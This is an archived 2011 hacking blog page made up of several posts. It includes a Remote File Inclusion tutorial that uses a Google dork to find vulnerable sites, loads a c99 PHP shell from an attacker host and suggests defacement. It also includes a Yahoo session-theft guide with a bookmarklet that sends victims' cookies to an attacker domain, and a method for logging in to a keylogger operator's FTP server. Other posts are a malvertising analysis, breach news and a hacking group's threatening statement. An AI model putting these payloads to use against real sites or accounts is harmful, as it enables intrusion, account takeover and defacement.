Tuesday, 26 April 2011

What is Remote File Inclusion (RFI) Web Hacking ?

Hey friends...Now we will know about Website hacking method "Remote File Inclusion (RFI)" . This exploits are very simple and are only found in about 1 in every 10 sites - they are still allot of fun to exploit. In this tutorial i will show you how to take advantage of this coding error and possibly take control of the site.This ICA article is for Educational Purpose Only...so please Use this for knowledge Only !


This articles will be unserstandable mostly by web developers,or how know some web programming in html,php,asp etc...Lets start..


A Remote File Inclusion vulnerability is where we trick the web server in to putting our file (file uploader / php shell) in to the web page. It then parses our PHP script and we then have full control over the server. The exploit works because when a website calls another page to be displayed except, we edit the url so that the website thinks our shell is the page to display.


Normally, I'm against stuff like this. I believe people should find their own vulnerablesites. But, for the sake of this paper, i will show you how we can use google to get us vulnerable sites.


We will query google like so:

     inurl:"index.php?page="
This query asks google to give us any page with index.php?page= in the url. If we look at it, we can see that 'page' is calling up whatever is after the equals sign. This is where the actual exploit lies. A good test to see if a website is actually vulnerable is to enter
http://www.google.com after the equal sign.

    www.site.com/index.php?page=www.google.com
It is not nessesry that every site will work loke above statement....Only those will redirect to google,which having the security holes...
If the full google.com website appears on the page, the websiteis vulnerable. If not, keep looking. To exploit the vulnerability we must first look at the following example of a RFI:
this is an example only,There is no such sites or file....

      www.shittysite.com/index.php?page=www.theevilhackerz.com/shell.txt


A) Get a free host website (like dajoob or free webs)
B) Put a PHP shell (c99) in text form on the site
C) Insert the path to the shell in the vulnerable hosts url, like the example above.
D) You can then proceed to deface the site etc.


If you have any question or query  ,the feel free to ask..Post a comment here !
Thankyou,

Decode Keyloggers and Stealers - Get passwords of Hackers !


Hello, here method to hack the hackers..If you have a keylogger on your computer, and you know the file, this process will easily give you the FTP website they are using so you can get the logs for the files, and if they use the same keyloggers on other computers, you’ll get the logs for that to.

What is Reverting ?
Reverting generally means reversing an action or undoing the changes. Here in our case, reverting would be more of reversing the action. For this we will need a key logger server using ftp. It can be found on warez sites, you tube etc.

Tools needed:
1) Key logger, pass stealer
2) Cain and Abel
3) Virtual machine (so you don't get infected, and what if the hacker is using better protocol that'd be epic fail)

Follow the Following Steps.....
1.) Execute the key logger on your virtual machine.

2.) Now run Cain and Abel and do the following things as per stated order.


3.) Wait for sometime and then check back the passwords area.
4







4

4.) As you can see the key logger used ftp protocol to transfer the logs. Ftp protocol isn't very safe since it doesn't encrypt the data. Anyways you should see the ip address where your pc is sending packets. And also the user name and password. This might not work if the server is using other protocol like http smtp etc you'll most probably get junk values in user and pass box if those protocols are used.

So i open the ip address http://66.220.9.50/






5.) Now you have username and pass from "Cain and Abel" ... So Login and Hit The Hacker !!!!
Hope that ,this article will be helpful for you, now go and collect all viruses and try this method... Hope u will get good Results..

Indian Cyber Army (Reg.) Celebrating "Republic Day 2011" Together on Facebook !


Indian Cyber Army (Reg.) Celebrating 
"Republic Day 2011" Together on Facebook !!


Indian Cyber Army (http://www.indiancyberarmy.org/ ) was registered in Jan 2011 under govt. Indian Cyber Army is leading three most important departments of cyber world.
Read Complete post here....

More than 1000+ Facebook Users Using The below Picture as there Profile pic , to Celebrating"Republic Day 2011" Together on Facebook !!

We have target to cover 10000 Facebook profiles till 26th January !! Please Keep the below image as your profile picture at-least till 31st jan-2011 .

Become the part of this Event :
Step 1 : "Save as Image" Below image in your computer.

Step 2 : Now upload the image as your new Facebook profile Picture !!

Done !! Thank you !!
If you have any query then Join n ask Us : Click Here

Hack Yahoo Accounts with Sessions Ids and Session Cookies !

Hello Friends, This is an Guest post By Mr. Aneesh M. Makker admin of http://www.explorehacking.com/ on "Hack Yahoo accounts with Session IDs or session cookies".


What are session IDs or session cookies ?
Talking in simple language, whenever we sign into an account it generates a unique piece of string. One copy is saved on server and other in our browser as cookie. Both are matched every time we do anything in our account. This piece of string or login session is destroyed when we click on 'Sign Out' option.

Just login to yahoo.com. Type in browser javascript:alert(document.cookie);
You would get a pop up box showing you the cookies. Now login to your account and do same thing, you would see more elements added to the cookies. These represent sessions ids .

Note: By saying , stealing sessions or stealing cookies, I mean the same thing. Sessions are stored in our browser in form of cookies.

 An attacker can steal that session by convincing victim to run a piece of code in browser. Attacker can use that stolen session to login into victim's account without providing any username/password. This attack is very uncommon because when the victim  clicks 'Sign out' , session gets  destroyed and attacker too also gets signed out. 

But in case of yahoo, its not the same.The attacker doesnt get signed out when victim clicks 'Sign out'. Though the session automatically gets destroyed after 24hrs  by yahoo. But when user simply refreshes the windows in yahoo account, he gets sessions for next 24 hrs. This means, once the  yahoo account session is stolen , attacker can access the account for life time by refreshing window in every 24hrs. I am not actually sure whether its 24 or 48 hrs.

Requirement: Download some files from here
http://www.ziddu.com/downloadlink/13712247/cookiestealer.rar

Tutorial to steal session IDs :-
1. Sign Up for an account at any free webhosting site. I have chosen my3gb.com.

2.  Login to your account and go to file manager. Upload the four files that you have just downloaded.
    Make a new directory 'cookies' here.

3. Give this  code to victim to run in his browser when he would be logged in to his yahoo account. Yahoo.php is basically cookie stealing script and hacked.php executes the stolen cookies in browser.
Stolen cookies get stored in directory 'cookies'
javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie)); 
He would again redirected to his yahoo account.

4. Open the hacked.php . The password is 'explore'.

You must have got the username of victim's account. Simply Click on it and it would take you to inbox of victim's yahoo account without asking for any password.

Now it doesn't matter if victim signs out from his account, you would remain logged into it.

Note: You can try this attack by using two browsers. Sign into yahoo account in one browser and run the code. Then sign in through other browser using stolen session.

Indian Institute of Management (IIM-B) Bangalore website hacked

Indian Institute of Management (IIM-B) Bangalore website hacked

The website of the Indian Institute of Management-Bangalore has been hijacked by hackers peddling erectile dysfunction products like Viagra. The website, www.iimb.ernet.in, has been out of service for at least ten days.

Cached versions of its home page during the period show the IIM masthead is superceded by ads for purchasing Viagra online without prescriptions.

Yahoo! PH Purple Hunt 2.0 Ad Compromised !


Yahoo! PH Purple Hunt 2.0 Ad Compromised !

Earlier the other day, I was browsing through the Yahoo! PH site and the Yahoo! Purple Hunt 2.0 ad caught my attention.

Curious as I am, I clicked on the ad and surprisingly my browser downloaded a suspicious file named com.com.

Apparently this ad redirected me to a randomly generated URL similar to the following which, unfortunately, led to the malicious download:

hxxp://want6.{BLOCKED}.com/se/3da19bea8f9c03e96c9b1acad9cce5a88a2244f0a34d69
c09b8d3198b2797726789be0228c0df3c762ed088a2327b07f4a183fa6fa753b0acfd7f0afc2d2b
13b801ba978269fcda413f53e/960b0a2a/com.com
hxxp://nose8.{BLOCKED}.com/se/3da19bea8f9c03e96c9b1acad9cce5a88a2244f0a34d69c
09b8d3198b2797726789be0228c0df3c762ed088a2327b07f4a183fa6fa753b0acfd7f0afc2d2b
13b801ba978269fcda413f53e/960b0a2a/com.com
hxxp://letter6.{BLOCKED}.com/se/3da19bea8f9c03e96c9b1acad9cce5a88a2244f0a34d69c0
9b8d3198b2797726789be0228c0f3c762ed088a2327b07f4a183fa6fa753b0acfd7f0afc2d2b13
b801ba978269fcda413f53e/785c08d8/com.com

Below is a screenshot of the file download dialog box:
The downloaded file is detected by Trend Micro as TSPY_PIRMINAY.A. Let’s see how the download took place.

Firstly, the download only happens once per browser, which means that the malvertisement may have used an IP and user agent filtering of some sort to prevent multiple downloads which would make it suspicious to the end user.

To be able to replicate the malware download from the compromised ad, we used a browser extension which spoofs browser user agents, instead of installing different browsers.
It appears that the advertisement is first redirected to the malware download before it finally brings the browser to the real advertisement page. The redirection follows this format for the download link:

http://{varying string}{random number}.{varying domain}/se/{constant string or guid}/com.com

We’d like to thank the guys over at Yahoo! Ad Security Ops for acting swiftly on our initial report, taking down the malvertisement so it could no longer harm unsuspecting users.

Monday, 25 April 2011

India's Railway Email System hacked by Pakistan Cyber Army !


India's Railway Email System hacked by Pakistan Cyber Army !
The Indian Railway Email System is Hacked by Pakistan Cyber Army (pca), They have taken complete backup of all important mails and user-pass of all email id's . Have a look to the images below as HACK PROOF and thier statement on this Hack attack.


Statement By Pakistan Cyber Army :
Dear All, Answer to Indian hackers for hacking the server of Pakistan Air Force


We are Pakistan Cyber Army (Real PCA is Reality). Many times we told Indian hackers out there from various groups that don’t mess with any Pakistani site or server especially systems from government organizations. We observe another attack on 22nd April 2011 at Pakistan Air Force Server backup server and other 8 machines on the same network. We would like to tell you that Pakistan Cyber Army is looking at each and every move you do on the cyber front of Pakistan. Indian hackers were unable to do anything accept taking screenshot of the server. We told you before that we will smoke your door off but we think you more like to be burned in fire then accept some. Go read some course books else you will lose both your name and this game.


We hacked Indian railway's email system and download all of the confidential emails as well as email addresses and their passwords. Next time we will attack your more sensitive areas where it will hurt you more. We did not delete anything on the mail system although we thought about it for a while but we are not out to destroy. Never under estimate capabilities of Pakistan and the sons of the land. Your Central bureau of investigation still looking for our clues keep on Looking CBI and use all of your investigation Agencies, keep on searching us in USA, Latvia, China, India and all of the countries listed on the MAP. We are for peace as long as no offensive attacks from your side. We are Nationalist and we are on our mission and that is the retaliation. We can’t stop Indian hackers to hack servers on our side but we can give you the best of answers possible. Your National Informatics Centre team is useless you guys can’t stop us.


We don’t accept your supremacy in Information Technology as well as in any other field. We have the minds to answer your every move. We are for Pakistan and Pakistan Cyber Army Knows its responsibility and we will never shatter the hopes of our Pakistanis. We are sleeping but not dead.


Pakistan Zindabad


Pakistan Cyber Army (Real PCA is Reality) Peace